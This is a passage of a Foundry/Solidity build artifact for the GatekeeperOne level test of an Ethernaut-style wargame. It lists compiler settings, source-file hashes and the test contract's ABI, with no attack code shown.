level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/GatekeeperOne.t.sol\":\"TestGatekeeperOne\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/GatekeeperOneAttack.sol\":{\"keccak256\":\"0xd1e20082a0819149d2a008850563e889808fdc5bb27bbd0a3cb7754a4f52e754\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f14533675055c97333af38fb6ed7075bba0c7c577ce6d9a218b675010c7ad6a3\",\"dweb:/ipfs/QmdTqN8gXZmvREuV3tbYGRwakvC1dB1bSTUnEVjWXrKrX6\"]},\"src/levels/GatekeeperOne.sol\":{\"keccak256\":\"0x56cca3158a5a2e02a5a3d955a442a58b9f3e28d667b5a590e8d21bd10414717e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://4d0331f3fa95b69840d34ab5f63ef1d8abe4025f2fd88e9e800db027f0acbcf0\",\"dweb:/ipfs/QmP7N4B5rmWd5XiLyYnwZPVBLMEseTYVkZTDGLMmC3rBBQ\"]},\"src/levels/GatekeeperOneFactory.sol\":{\"keccak256\":\"0xa38dd1faa0074f27317f467c83b24f7dc350da5607a46c8b318334a44a5035a7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f4b960535752cf5a17f97c8429d2d8be56f3a8babe2e9837688ee1c79bc4ced4\",\"dweb:/ipfs/QmaAxDwkECTL93Zk1WzhUnvVQ6dAFmguTnH1Jgte6wJf7w\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/GatekeeperOne.t.sol\":{\"keccak256\":\"0xd3021742a7f6d190dc9a0623abbda1870e75636b61a09616740ee1118e934a7a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8eb6ccd40a1ea3c85690726cd252b77dee3e224e5dfd26f0adb942adc8b26019\",\"dweb:/ipfs/QmUaft9kAqBgUrkSKWmpqrnUn9gbnob9qhVXXQ6umTttri\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/GatekeeperOne.t.sol":"TestGatekeeperOne"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb: